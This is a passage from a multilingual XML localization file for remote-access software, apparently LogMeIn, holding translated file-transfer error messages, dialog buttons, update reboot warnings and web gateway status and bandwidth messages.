<pt-br>Enviando arquivo:</pt-br>
<nl>Bezig met verzenden van bestand:</nl>
</msg>
<msg name="FILEXFER.CANTSENDBATCHHEADER">
<en>Could not send file. Communication error: Write batch header. ($1)</en>
<de>Die Datei konnte nicht gesendet werden. Kommunikationsfehler: Batch Header wird geschrieben. ($1)</de>
<es>No se ha podido enviar el archivo. Error de comunicación: Escriba encabezado de lote. ($1)</es>
<fr>Ne peut pas envoyer le fichier. Erreur de communication : Write batch header. ($1)</fr>
<it>Impossibile inviare il file. Errore di comunicazione: scrittura dell'intestazione batch. ($1)</it>
<ru>Не удалось отправить файл. Ошибка связи: Запишите заголовок пакета. ($1)</ru>
<ja>ファイルを送信できませんでした。通信エラー :バッチ ヘッダを書き込みます。 ($1)</ja>
<zh>无法发送文件。通信错误: 写入批处理标头。 ($1)</zh>
<ko>파일을 보낼 수 없습니다. 통신 오류: 배치 헤더를 씁니다. ($1)</ko>
<en-gb>Could not send file. Communication error: Write batch header. ($1)</en-gb>
<hu>Nem sikerült a fájlküldés. Kommunikációs hiba: Köteg fejlécének írása. ($1)</hu>
<pt-br>Não foi possível enviar o arquivo. Erro de comunicação: gravar cabeçalho em lote. ($1)</pt-br>
<nl>Kan bestand niet verzenden. Communicatiefout: Schrijven van batchkoptekst. ($1)</nl>
</msg>
<msg name="FILEXFER.CANTREADBATCHREPLY">
<en>Could not send file. Communication error: Read batch reply. ($1)</en>
<de>Die Datei konnte nicht gesendet werden. Kommunikationsfehler: Batch Reply wird gelesen. ($1)</de>
<es>No se ha podido enviar el archivo. Error de comunicación: Lea respuesta del lote. ($1)</es>
<fr>Ne peut pas envoyer le fichier. Erreur de communication : Read batch reply. ($1)</fr>
<it>Impossibile inviare il file. Errore di comunicazione: lettura della risposta batch. ($1)</it>
<ru>Не удалось отправить файл. Ошибка связи: Прочтите ответный пакет. ($1)</ru>
<ja>ファイルを送信できませんでした。通信エラー :バッチ応答を読み取ります。 ($1)</ja>
<zh>无法发送文件。通信错误: 读取批处理回复。 ($1)</zh>
<ko>파일을 보낼 수 없습니다. 통신 오류: 배치 회신을 읽습니다. ($1)</ko>
<en-gb>Could not send file. Communication error: Read batch reply. ($1)</en-gb>
<hu>Nem sikerült a fájlküldés. Kommunikációs hiba: Köteg válaszának olvasása. ($1)</hu>
<pt-br>Não foi possível enviar o arquivo. Erro de comunicação: Read batch reply. ($1)</pt-br>
<nl>Kan bestand niet verzenden. Communicatiefout: Lezen van batchantwoord. ($1)</nl>
</msg>
<msg name="FILEXFER.CANTREADBATCHREPLYPACKET">
<en>Could not send file. Communication error: Read batch reply packet.</en>
<de>Die Datei konnte nicht gesendet werden. Kommunikationsfehler: Batch Reply Paket wird gelesen.</de>
<es>No se ha podido enviar el archivo. Error de comunicación: Lea el paquete de respuesta del lote.</es>
<fr>Ne peut pas envoyer le fichier. Erreur de communication :  Read batch reply packet.</fr>
<it>Impossibile inviare il file. Errore di comunicazione: lettura del pacchetto di risposta batch.</it>
<ru>Не удалось отправить файл. Ошибка связи: Прочтите ответный пакет.</ru>
<ja>ファイルを送信できませんでした。通信エラー :バッチ応答パケットを読み取ります。</ja>
<zh>无法发送文件。通信错误:读取批处理回复包。</zh>
<ko>파일을 보낼 수 없습니다. 통신 오류: 배치 회신 패킷을 읽습니다.</ko>
<en-gb>Could not send file. Communication error: Read batch reply packet.</en-gb>
<hu>Nem sikerült a fájlküldés. Kommunikációs hiba: Köteg válaszcsomag olvasása.</hu>
<pt-br>Não foi possível enviar o arquivo. Erro de comunicação: ler pacote de respostas em lote.</pt-br>
<nl>Kan bestand niet verzenden. Communicatiefout: Lezen van pakket van batchantwoord.</nl>
</msg>
<msg name="FILEXFER.BATCHERRORRESPONSE">
<en>Could not send file batch. The receiving computer reported an error.</en>
<de>Die Stapelverarbeitung konnte nicht gesendet werden. Der Empfänger meldet einen Fehler.</de>
<es>No se ha podido enviar lote de archivo. El ordenador receptor ha informado de un error.</es>
<fr>Ne peut pas envoyer le groupe de fichiers. L'ordinateur distant à renvoyé une erreur.</fr>
<it>Impossibile inviare il file batch. Il computer di destinazione ha riportato un errore.</it>
<ru>Не удалось отправить пакет файлов. Принимающий компьютер сообщил об ошибке.</ru>
<ja>ファイル バッチを送信できませんでした。受信コンピュータがエラーをレポートしました。</ja>
<zh>无法发送文件批处理。接收文件的计算机报告出现错误。</zh>
<ko>파일 배치를 보낼 수 없습니다. 수신 컴퓨터가 오류를 보고했습니다.</ko>
<en-gb>Could not send file batch. The receiving computer reported an error.</en-gb>
<hu>Nem sikerült a fájlköteg küldése. A fogadó számítógép hibát jelzett.</hu>
<pt-br>Não foi possível enviar o lote de arquivos. O computador receptor relatou um erro.</pt-br>
<nl>Kan bestandenbatch niet verzenden. De computer die de bestanden moet ontvangen, heeft een fout gemeld.</nl>
</msg>
<msg name="FILEXFER.BATCHINVALIDRESPONSE">
<en>Could not send file batch. The receiving computer sent an answer that could not be parsed.</en>
<de>Die Stapelverarbeitung konnte nicht gesendet werden. Der Empfänger sendet eine Antwort, die nicht verarbeitet werden kann.</de>
<es>No se ha podido enviar lote de archivo. El ordenador receptor ha enviado una respuesta que no se ha podido analizar.</es>
<fr>Ne peut pas envoyer le groupe de fichiers. L'ordinateur distant a envoyé une réponse qui ne peut être analysée.</fr>
<it>Impossibile inviare il file batch. Il computer di destinazione ha inviato una risposta che non è stato possibile analizzare.</it>
<ru>Не удалось отправить пакет файлов. Принимающий компьютер отправил ответ, который не удалось проанализировать.</ru>
<ja>ファイル バッチを送信できませんでした。受信側コンピュータが解析できない応答を送信しました。</ja>
<zh>无法发送文件批处理。接收文件的计算机发送了无法解析的答复。</zh>
<ko>파일 배치를 보낼 수 없습니다. 수신 컴퓨터가 분석할 수 없는 답변을 보냈습니다.</ko>
<en-gb>Could not send file batch. The receiving computer sent an answer that could not be parsed.</en-gb>
<hu>Nem sikerült a fájlköteg küldése. A fogadó számítógép elemezhetetlen választ küldött.</hu>
<pt-br>Não foi possível enviar o lote de arquivos. O computador receptor enviou uma resposta que não pôde ser analisada.</pt-br>
<nl>Kan bestandenbatch niet verzenden. De computer die de bestanden moet ontvangen, heeft een antwoord verzonden dat niet kon worden geparseerd.</nl>
</msg>
<msg name="FILEXFER.BATCHCANTSENDEND">
<en>Could not send file. Communication error: Write batch end.</en>
<de>Die Datei konnte nicht gesendet werden. Kommunikationsfehler: Batch End wird geschrieben.</de>
<es>No se ha podido enviar el archivo. Error de comunicación: Escriba final de lote.</es>
<fr>Ne peut pas envoyer le fichier. Erreur de communication : Write batch end.</fr>
<it>Impossibile inviare il file. Errore di comunicazione: scrittura della fine del batch.</it>
<ru>Не удалось отправить файл. Ошибка связи: Запишите конец пакета.</ru>
<ja>ファイルを送信できませんでした。通信エラー :バッチ エンドを書き込みます。</ja>
<zh>无法发送文件。通信错误:写入批处理末尾。</zh>
<ko>파일을 보낼 수 없습니다. 통신 오류: 배치 종료를 씁니다.</ko>
<en-gb>Could not send file. Communication error: Write batch end.</en-gb>
<hu>Nem sikerült a fájlküldés. Kommunikációs hiba: Köteg végének írása.</hu>
<pt-br>Não foi possível enviar o arquivo. Erro de comunicação: gravar fim de cabeçalho.</pt-br>
<nl>Kan bestand niet verzenden. Communicatiefout: Schrijven van batcheinde.</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.TITLE">
<en>%PRODUCTNAME12345678901234567890</en>
<de>%PRODUCTNAME12345678901234567890</de>
<es>%PRODUCTNAME12345678901234567890</es>
<fr>%PRODUCTNAME12345678901234567890</fr>
<it>%PRODUCTNAME12345678901234567890</it>
<ru>%PRODUCTNAME12345678901234567890</ru>
<ja>%PRODUCTNAME12345678901234567890</ja>
<zh>%PRODUCTNAME12345678901234567890</zh>
<ko>%PRODUCTNAME12345678901234567890</ko>
<en-gb>%PRODUCTNAME12345678901234567890</en-gb>
<hu>%PRODUCTNAME12345678901234567890</hu>
<pt-br>%PRODUCTNAME12345678901234567890</pt-br>
<nl>%PRODUCTNAME12345678901234567890</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.OVERWRITE">
<en>&amp;Overwrite</en>
<de>&amp;Überschreiben</de>
<es>&amp;Sobrescribir</es>
<fr>&amp;Ecraser</fr>
<it>S&amp;ovrascrivi</it>
<ru>&amp;Перезаписать</ru>
<ja>上書き(&amp;O)</ja>
<zh>覆盖(&amp;O)</zh>
<ko>&amp;덮어쓰기</ko>
<en-gb>&amp;Overwrite</en-gb>
<hu>&amp;Felülírás</hu>
<pt-br>&amp;Substituir</pt-br>
<nl>O&amp;verschrijven</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.OVERWRITEALL">
<en>Over&amp;write All</en>
<de>Alle Ü&amp;berschreiben</de>
<es>Sobres&amp;cribir todo</es>
<fr>Tout Ecra&amp;ser</fr>
<it>So&amp;vrascrivi tutto</it>
<ru>Пере&amp;записать все</ru>
<ja>すべて上書き(&amp;W)</ja>
<zh>全部覆盖(&amp;W)</zh>
<ko>모두 덮어쓰기(&amp;W)</ko>
<en-gb>Over&amp;write All</en-gb>
<hu>Minde&amp;t felülírja</hu>
<pt-br>S&amp;ubstituir tudo</pt-br>
<nl>Alles overs&amp;chrijven</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.SKIP">
<en>&amp;Skip</en>
<de>Über&amp;springen</de>
<es>&amp;Saltar</es>
<fr>&amp;Passer</fr>
<it>&amp;Ignora</it>
<ru>&amp;Пропустить</ru>
<ja>スキップ(&amp;S)</ja>
<zh>跳过(&amp;S)</zh>
<ko>건너뛰기(&amp;S)</ko>
<en-gb>&amp;Skip</en-gb>
<hu>&amp;Kihagy</hu>
<pt-br>&amp;Ignorar</pt-br>
<nl>Ov&amp;erslaan</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.SKIPALL">
<en>Skip &amp;All</en>
<de>Alle Übers&amp;pringen</de>
<es>Saltar &amp;todo</es>
<fr>Passer &amp;tout</fr>
<it>Ignora &amp;tutto</it>
<ru>Пропустить &amp;все</ru>
<ja>すべてスキップ(&amp;A)</ja>
<zh>全部跳过(&amp;A)</zh>
<ko>모두 건너뛰기(&amp;A)</ko>
<en-gb>Skip &amp;All</en-gb>
<hu>Mindet Kih&amp;agyja</hu>
<pt-br>Ignorar &amp;tudo</pt-br>
<nl>Alles &amp;overslaan</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.RETRY">
<en>&amp;Retry</en>
<de>&amp;Wiederholen</de>
<es>&amp;Reintentar</es>
<fr>&amp;Réessayer</fr>
<it>&amp;Riprova</it>
<ru>&amp;Повторить</ru>
<ja>再試行(&amp;R)</ja>
<zh>重试(&amp;R)</zh>
<ko>다시 시도(&amp;R)</ko>
<en-gb>&amp;Retry</en-gb>
<hu>&amp;Ismét</hu>
<pt-br>&amp;Tentar novamente</pt-br>
<nl>&amp;Herhalen</nl>
</msg>
<msg name="FILEXFER.ERRORDLG.FILEEXISTS">
<en>The following file already exists on the target computer:\n\n$1\n\nPlease select an option below.</en>
<de>Folgende Datei existiert bereits auf dem Zielcomputer:\n\n$1\n\nWählen ein der nachfolgenden Optionen.</de>
<es>El siguiente archivo ya existe en el ordenador de destino:\n\n$1\n\nSeleccione una de las siguientes opciones.</es>
<fr>Le fichier suivant existe déjà sur l'ordinateur cible:\n\n$1\n\nVeuillez choisir une option ci-dessous.</fr>
<it>Il seguente file esiste già sul computer di destinazione:\n\n$1\n\nSelezionare un'opzione di seguito.</it>
<ru>Следующий файл уже существует на компьютере назначения:\n\n$1\n\nВыберите ниже один из вариантов.</ru>
<ja>次のファイルは対象のコンピュータに既に存在します。\n\n$1\n\n下からオプションを選択してください。</ja>
<zh>以下文件已在目标计算机中:\n\n$1\n\n请从下面选择一个选项。</zh>
<ko>다음 파일이 대상 컴퓨터에 이미 있습니다:.\n\n$1\n\n아래 옵션을 선택하십시오.</ko>
<en-gb>The following file already exists on the target computer:\n\n$1\n\nPlease select an option below.</en-gb>
<hu>A következő fájl már létezik a célszámítógépen:\n\n$1\n\nKérem, válasszon az alábbi lehetőségek közül.</hu>
<pt-br>O arquivo a seguir já existe no computador de destino:\n\n$1\n\nSelecione uma opção abaixo.</pt-br>
<nl>Het volgende bestand is reeds aanwezig op de doelcomputer:\n\n$1\n\nKies één van de onderstaande opties.</nl>
</msg>
<cat name="REBOOT">
<msg name="SYSWARNING">
<en>Your Windows operating system is being updated via LogMeIn Central. To complete the installation of updates, your computer will restart at %REBOOTTIME. Please save all work in progress. Any unsaved changes will be lost.</en>
<de>Ihr Windows-Betriebssystem wird gerade über LogMeIn Central aktualisiert. Ihr Computer wird um %REBOOTTIME Uhr neu gestartet, um die Update-Installation abzuschließen. Bitte speichern Sie alle noch nicht abgeschlossenen Arbeiten. Nicht gespeicherte Änderungen gehen verloren.</de>
<es>Su sistema operativo Windows se está actualizando a través de LogMeIn Central. Para completar la instalación de las actualizaciones, su ordenador se reiniciará a las %REBOOTTIME. Guarde todo el trabajo que esté realizando. Los cambios no guardados se perderán.</es>
<fr>Votre système d'exploitation Windows est en cours de mise à jour par LogMeIn Central. Pour finaliser l'installation des mises à jour, votre ordinateur sera redémarré à %REBOOTTIME. Veuillez enregistrer tous vos travaux en cours. Toute modification non enregistrée sera perdue.</fr>
<it>LogMeIn Central sta aggiornando questo sistema operativo Windows. Per completare l’installazione degli aggiornamenti, il computer verrà riavviato alle %REBOOTTIME. Salvare tutte le operazioni in corso. Eventuali modifiche non salvate andranno perse.</it>
<ru>Выполняется обновление операционной системы Windows посредством LogMeIn Central. Для выполнения установки обновлений компьютер будет перезагружен в %REBOOTTIME. Сохраните всю текущую работу. Любые несохраненные изменения будут утрачены.</ru>
<ja>LogMeIn Central により、Windows のオペレーティング システムが更新されました。更新のインストールを完了するために、コンピュータは %REBOOTTIME に再起動します。進行中の作業をすべて保存してください。保存されていない変更内容は失われます。</ja>
<zh>您的 Windows 操作系统正在通过 LogMeIn Central 进行更新。要完成更新的安装,您的计算机将于 %REBOOTTIME 重新启动。请保存所有进行中的工作。任何未保存的更改都将丢失。</zh>
<ko>LogMeIn Central에서 Windows 운영 체제를 업데이트하는 중입니다. 업데이트 설치를 완료하기 위해 컴퓨터를 %REBOOTTIME에 다시 시작합니다. 진행 중인 모든 작업을 저장하십시오. 저장하지 않은 변경 사항은 모두 손실됩니다.</ko>
<en-gb>Your Windows operating system is being updated via LogMeIn Central. To complete the installation of updates, your computer will restart at %REBOOTTIME. Please save all work in progress. Any unsaved changes will be lost.</en-gb>
<hu>A Windows operációs rendszer LogMeIn Centralon keresztüli frissítése folyamatban van. A frissítések telepítésének befejezéséhez a számítógép újraindul ekkor: %REBOOTTIME. Mentse a folyamatban lévő munkát. A nem mentett módosítások elvesznek.</hu>
<pt-br>Seu sistema operacional Windows está sendo atualizado pelo LogMeIn Central. Para concluir a instalação das atualizações, seu computador será reiniciado às %REBOOTTIME. Salve todos os trabalhos em andamento. As alterações não salvas serão perdidas.</pt-br>
<nl>Uw Windows-systeem wordt bijgewerkt via LogMeIn Central. Uw computer zal op %REBOOTTIME uur opnieuw opstarten om de installatie van updates te voltooien. Sla al het werk in uitvoering op. Niet-opgeslagen wijzigingen zullen verloren gaan.</nl>
</msg>
<msg name="SYSWARNINGSHORT">
<en>Windows is being updated via LogMeIn Central. To complete the process, your computer will restart at %REBOOTTIME.</en>
<de>Ihr Windows-Betriebssystem wird gerade über LogMeIn Central aktualisiert. Ihr Computer wird um %REBOOTTIME Uhr neu gestartet, um die Update-Installation abzuschließen.</de>
<es>Su sistema operativo Windows se está actualizando a través de LogMeIn Central. Para completar la instalación de las actualizaciones, su ordenador se reiniciará a las %REBOOTTIME.</es>
<fr>Votre système d'exploitation Windows est en cours de mise à jour par LogMeIn Central. Pour finaliser l'installation des mises à jour, votre ordinateur sera redémarré à %REBOOTTIME.</fr>
<it>LogMeIn Central sta aggiornando questo sistema operativo Windows. Per completare l’installazione degli aggiornamenti, il computer verrà riavviato alle %REBOOTTIME.</it>
<ru>Выполняется обновление операционной системы Windows посредством LogMeIn Central. Для выполнения установки обновлений компьютер будет перезагружен в %REBOOTTIME.</ru>
<ja>LogMeIn Central により、Windows のオペレーティング システムが更新されました。更新のインストールを完了するために、コンピュータは %REBOOTTIME に再起動します。</ja>
<zh>您的 Windows 操作系统正在通过 LogMeIn Central 进行更新。要完成更新的安装,您的计算机将于 %REBOOTTIME 重新启动。</zh>
<ko>LogMeIn Central에서 Windows 운영 체제를 업데이트하는 중입니다. 업데이트 설치를 완료하기 위해 컴퓨터를 %REBOOTTIME에 다시 시작합니다. </ko>
<en-gb>Your Windows operating system is being updated via LogMeIn Central. To complete the installation of updates, your computer will restart at %REBOOTTIME.</en-gb>
<hu>A Windows operációs rendszer LogMeIn Centralon keresztüli frissítése folyamatban van. A frissítések telepítésének befejezéséhez a számítógép újraindul ekkor: %REBOOTTIME. </hu>
<pt-br>Seu sistema operacional Windows está sendo atualizado pelo LogMeIn Central. Para concluir a instalação das atualizações, seu computador será reiniciado às %REBOOTTIME. </pt-br>
<nl>Uw Windows-systeem wordt bijgewerkt via LogMeIn Central. Uw computer zal op %REBOOTTIME uur opnieuw opstarten om de installatie van updates te voltooien.</nl>
</msg>
</cat>
</cat>
<cat name="WEBSVC">
<msg name="WELCOME">
<en>You Are Connected to Your Remote PC</en>
<fr>Vous êtes à présent connecté à votre ordinateur distant</fr>
<es>Está conectado a su ordenador remoto</es>
<de>Sie sind mit Ihrem Ferncomputer verbunden.</de>
<it>Si è connessi al computer remoto</it>
<nl>U bent verbonden met uw externe computer</nl>
<pt-br>Você está conectado ao computador remoto</pt-br>
<zh>您已经连接至您的远程计算机</zh>
<ru>Вы подключены к своему удаленному компьютеру</ru>
<ja>リモート コンピュータに接続しています</ja>
<ko>원격 컴퓨터에 연결되었습니다</ko>
<hu>Ön most csatlakozott a távoli számítógépéhez</hu>
<en-gb>You Are Connected to Your Remote PC</en-gb>
</msg>
<msg os="macosx" name="WELCOME">
<en>You Are Connected to Your Remote Computer</en>
<fr>Vous êtes à présent connecté à votre ordinateur distant</fr>
<es>Está conectado a su ordenador remoto</es>
<de>Sie sind mit Ihrem Ferncomputer verbunden.</de>
<it>Si è connessi al computer remoto</it>
<nl>U bent verbonden met uw externe computer</nl>
<pt-br>Você está conectado ao computador remoto</pt-br>
<zh>您已经连接至您的远程计算机</zh>
<ru>Вы подключены к своему удаленному компьютеру</ru>
<ja>リモート コンピュータに接続しています</ja>
<ko>원격 컴퓨터에 연결되었습니다</ko>
<hu>Ön most csatlakozott a távoli számítógépéhez</hu>
<en-gb>You Are Connected to Your Remote Computer</en-gb>
</msg>
<cat name="INFO">
<msg name="TITLE">
<en>%WEBSVC.NAME Web Service</en>
<de>%WEBSVC.NAME Webservice</de>
<es>Servicio web %WEBSVC.NAME</es>
<fr>Service de Web de %WEBSVC.NAME</fr>
<it>Servizio Web %WEBSVC.NAME</it>
<ru>Веб-служба %WEBSVC.NAME</ru>
<ja>%WEBSVC.NAME Web サービス</ja>
<zh>%WEBSVC.NAME Web 服务</zh>
<ko>%WEBSVC.NAME 웹 서비스</ko>
<en-gb>%WEBSVC.NAME Web Service</en-gb>
<hu>%WEBSVC.NAME Webszolgáltatás</hu>
<pt-br>Serviço da web %WEBSVC.NAME</pt-br>
<nl>%WEBSVC.NAME-webservice</nl>
</msg>
<msg name="ONLINE">
<en>Now Online</en>
<de>Online</de>
<es>Ahora en línea</es>
<fr>En ligne</fr>
<it>Ora in linea</it>
<ru>Теперь в интерактивном режиме</ru>
<ja>現在オンラインです</ja>
<zh>现在已联机</zh>
<ko>지금 온라인</ko>
<en-gb>Now Online</en-gb>
<hu>Most online van</hu>
<pt-br>Agora online</pt-br>
<nl>Nu online</nl>
</msg>
<msg name="ONLINE.DESC">
<en>This host (%SRVNAME) is connected to the %WEBSVC.NAME web
gateway service at %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), using account %WEBSVC.EMAIL.</en>
<de>Dieser Host (%SRVNAME) ist mit  %WEBSVC.NAME Web
Gateway Service at %WEBSVC.GATEWAY verbunden (%WEBSVC.TIMEON_for).</de>
<es>Este host (%SRVNAME) está conectado al servicio de gateway de %WEBSVC.NAME
en %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), utilizando la cuenta %WEBSVC.EMAIL.</es>
<fr>Ce serveur (%SRVNAME) est connecté au service de passerelle internet de %WEBSVC.NAME depuis 					%WEBSVC.GATEWAY
(%WEBSVC.TIMEON_for).</fr>
<it>Questo host (%SRVNAME) è connesso al servizio gateway Web %WEBSVC.NAME su %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for) e utilizza l'account %WEBSVC.EMAIL.</it>
<ru>Данный хост-компьютер (%SRVNAME) подключен к службе веб-шлюзов %WEBSVC.NAME на %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for) в контексте учетной записи %WEBSVC.EMAIL.</ru>
<ja>このホスト (%SRVNAME) は、アカウント %WEBSVC.EMAIL を使用して、\n%WEBSVC.GATEWAY (%WEBSVC.TIMEON_for) にある %WEBSVC.NAME Web ゲートウェイ サービスに接続されています。</ja>
<zh>此主机 (%SRVNAME) 已使用 %WEBSVC.EMAIL 帐户连接至位于 %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for) 的 %WEBSVC.NAME Web 网关服务。</zh>
<ko>이 호스트(%SRVNAME)는 %WEBSVC.EMAIL 계정을 사용하여 %WEBSVC.GATEWAY(%WEBSVC.TIMEON_for)의 %WEBSVC.NAME 웹 게이트웨이 서비스에 연결되었습니다.</ko>
<en-gb>This host (%SRVNAME) is connected to the %WEBSVC.NAME web gateway service at %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), using account %WEBSVC.EMAIL.</en-gb>
<hu>Ez a gazdagép (%SRVNAME)  kapcsolatban van a(z)  %WEBSVC.NAME webes
átjáró szolgáltatással itt: %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), a %WEBSVC.EMAIL fiókot használva.</hu>
<pt-br>Este host (%SRVNAME) está conectado ao serviço de gateway da web %WEBSVC.NAME 
em %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), usando a conta %WEBSVC.EMAIL.</pt-br>
<nl>Deze hostcomputer Host (%SRVNAME) is verbonden met de %WEBSVC.NAME-webgatewayservice om %WEBSVC.GATEWAY (%WEBSVC.TIMEON_for), via de account %WEBSVC.EMAIL.</nl>
</msg>
<msg name="OFFLINE">
<en>Now Offline</en>
<de>Offline</de>
<es>Ahora sin conexión</es>
<fr>A présent hors ligne</fr>
<it>Ora fuori linea</it>
<ru>Теперь в автономном режиме</ru>
<ja>現在オフラインです</ja>
<zh>现在已脱机</zh>
<ko>지금 오프라인</ko>
<en-gb>Now Offline</en-gb>
<hu>Most kapcsolaton kívül van</hu>
<pt-br>Agora offline</pt-br>
<nl>Nu offline</nl>
</msg>
<msg name="OFFLINE.DESC">
<en>This host (%SRVNAME) is not currently connected to the
%WEBSVC.NAME web gateway service.</en>
<de>Dieser Host (%SRVNAME) ist momentan nicht mit %WEBSVC.NAME Web Gateway Service verbunden.</de>
<es>Este host (%SRVNAME) no está conectado al
servicio de gateway web de %WEBSVC.NAME.</es>
<fr>Ce serveur (%SRVNAME) n'est actuellement pas connecté
au service de passerelle internet %WEBSVC.NAME.</fr>
<it>Questo host (%SRVNAME) non è attualmente connesso al servizio gateway Web %WEBSVC.NAME.</it>
<ru>Данный хост-компьютер (%SRVNAME) в настоящее время не подключен к службе веб-шлюзов %WEBSVC.NAME.</ru>
<ja>このホスト (%SRVNAME) は現在、%WEBSVC.NAME Web ゲートウェイ サービスに接続されていません。</ja>
<zh>此主机 (%SRVNAME) 当前未连接至 %WEBSVC.NAME Web 网关服务。</zh>
<ko>이 호스트(%SRVNAME)는 현재 %WEBSVC.NAME 웹 게이트웨이 서비스에 연결되지 않았습니다.</ko>
<en-gb>This host (%SRVNAME) is not currently connected to the %WEBSVC.NAME web gateway service.</en-gb>
<hu>Ez a gazdagép (%SRVNAME)  jelenleg nincs kapcsolatban a(z) 
%WEBSVC.NAME webes átjáró szolgáltatással.</hu>
<pt-br>Este host (%SRVNAME) está conectado no momento ao  
serviço de gateway da web %WEBSVC.NAME.</pt-br>
<nl>Deze hostcomputer (%SRVNAME) is op dit moment niet verbonden met de %WEBSVC.NAME-webgatewayservice.</nl>
</msg>
<msg name="SESSIONBW">
<en>You have %WEBSVC.SESSION.BWLEFT_szx left of your %WEBSVC.SESSION.BWLIMIT_szx
bandwidth limit.</en>
<de>Sie haben noch %WEBSVC.SESSION.BWLEFT_szx von ihren %WEBSVC.SESSION.BWLIMIT_szx Bandbreite übrig.</de>
<es>Le quedan %WEBSVC.SESSION.BWLEFT_szx de su ancho de banda de %WEBSVC.SESSION.BWLIMIT_szx
para transferencia de archivos.</es>
<fr>Vous avez dépassé de %WEBSVC.SESSION.BWLEFT_szx votre limite de
largeur de bande de %WEBSVC.SESSION.BWLIMIT_szx.</fr>
<it>Si dispone ancora di %WEBSVC.SESSION.BWLEFT_szx della larghezza di banda %WEBSVC.SESSION.BWLIMIT_szx.</it>
<ru>Осталось %WEBSVC.SESSION.BWLEFT_szx из выделенной пропускной способности %WEBSVC.SESSION.BWLIMIT_szx.</ru>
<ja>%WEBSVC.SESSION.BWLIMIT_szx の帯域幅制限のうち、現在残っているのは、%WEBSVC.SESSION.BWLEFT_szx です。</ja>
<zh>您已将 %WEBSVC.SESSION.BWLEFT_szx 排除在您的 %WEBSVC.SESSION.BWLIMIT_szx 带宽限制之外。</zh>
<ko>%WEBSVC.SESSION.BWLIMIT_szx 대역폭 제한 중 %WEBSVC.SESSION.BWLEFT_szx이(가) 남았습니다.</ko>
<en-gb>You have %WEBSVC.SESSION.BWLEFT_szx left of your %WEBSVC.SESSION.BWLIMIT_szx bandwidth limit.</en-gb>
<hu>Ön már csak %WEBSVC.SESSION.BWLEFT_szx -al rendelkezik a %WEBSVC.SESSION.BWLIMIT_szx
sávszélesség-korlátból.</hu>
<pt-br>Resta(m) %WEBSVC.SESSION.BWLEFT_szx do seu limite de largura de banda de %WEBSVC.SESSION.BWLIMIT_szx
.</pt-br>
<nl>U hebt nog %WEBSVC.SESSION.BWLEFT_szx beschikbaar voor uw bandbreedtelimiet van %WEBSVC.SESSION.BWLIMIT_szx  .</nl>
</msg>
<msg name="SESSIONBW.LOW">
<en>WARNING: You only have %WEBSVC.SESSION.BWLEFT_szx left of your bandwidth
limit. If you exceed your quota, you will not be able to access you computer
via %PRODUCTNAME. Make sure to purchase an extension before you run out.</en>
<de>WARNUNG: Sie haben nur noch %WEBSVC.SESSION.BWLEFT_szx von ihrer Bandbreite übrig. Wenn sie diese Begrenzung überscheiten, können sie den Computer über %PRODUCTNAME nicht mehr erreichen. Bestellen sie bitte vorher eine Erweiterung.</de>
<es>AVISO: Le quedan %WEBSVC.SESSION.BWLEFT_szx de su límite
de ancho de banda. Si sobrepasa su cupo, no podrá acceder a su ordenador
a través de %PRODUCTNAME. Asegúrese de adquirir una ampliación antes de quedarse sin ancho de banda.</es>
<fr>AVERTISSEMENT : Vous êtes seulement à %WEBSVC.SESSION.BWLEFT_szx de la limite de votre largeur de bande. 									Si vous dépassez votre quote-part, vous ne pourrez plus accéder à votre ordinateur
par l'intermédiaire de %PRODUCTNAME. Assurez-vous d'acquérir une extension avant d'atteindre cette limite.</fr>
<it>AVVISO: si dispone solo di %WEBSVC.SESSION.BWLEFT_szx della larghezza di banda. Se si supera il limite, non sarà possibile accedere al computer tramite %PRODUCTNAME. Acquistare un'estensione prima di esaurire del tutto la larghezza di banda.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Осталось только %WEBSVC.SESSION.BWLEFT_szx из выделенной пропускной способности. В случае превышения квоты пользователь не сможет получить доступ к своему компьютеру посредством %PRODUCTNAME. Прежде чем выходить за пределы данной квоты, приобретите право на использование дополнительной пропускной способности.</ru>
<ja>警告 :帯域幅制限のうち、現在残っているのは、%WEBSVC.SESSION.BWLEFT_szx のみです。割り当て領域を超えると、%PRODUCTNAME 経由ではコンピュータにアクセスできなくなります。領域が不足する前に、拡張領域を購入してください。</ja>
<zh>警告:您仅将 %WEBSVC.SESSION.BWLEFT_szx 排除在您的带宽限制之外。如果超出配额,您将不能通过 %PRODUCTNAME 访问您的计算机。确保在配额用完之前购买更多。</zh>
<ko>경고: 대역폭 제한 중 %WEBSVC.SESSION.BWLEFT_szx만 남았습니다. 할당량을 초과할 경우 %PRODUCTNAME을 통해 컴퓨터에 액세스할 수 없습니다. 모두 사용하기 전에 확장 제품을 구입하십시오.</ko>
<en-gb>WARNING: You only have %WEBSVC.SESSION.BWLEFT_szx left of your bandwidth limit. If you exceed your quota, you will not be able to access you computer via %PRODUCTNAME. Make sure to purchase an extension before you run out.</en-gb>
<hu>FIGYELEM: Ön már csak %WEBSVC.SESSION.BWLEFT_szx -al rendelkezik sávszélesség-
-korlátból. Ha meghaladja a kvótáját, akkor nem fogja tudni elérni a számítógépét
a %PRODUCTNAME programon keresztül. Vásároljon egy hosszabbítást, mielőtt lejárna.</hu>
<pt-br>AVISO: Resta(m) %WEBSVC.SESSION.BWLEFT_szx do seu limite de largura de banda
. Se você exceder a sua cota, não poderá acessar o seu computador
via %PRODUCTNAME. Assegure-se de adquirir um aumento de cota antes de sair.</pt-br>
<nl>WAARSCHUWING: U hebt nog slechts %WEBSVC.SESSION.BWLEFT_szx beschikbaar van uw bandbreedtelimiet. Als u uw quotum overschrijdt, krijgt u via %PRODUCTNAME geen toegang meer tot uw computer. Vergeet niet een uitbreiding te kopen voordat het te laat is.</nl>
</msg>
<msg name="FILEXFERBW">
<en>You have %WEBSVC.FILEXFER.BWLEFT_szx left of your %WEBSVC.FILEXFER.BWLIMIT_szx
file transfer bandwidth limit.</en>
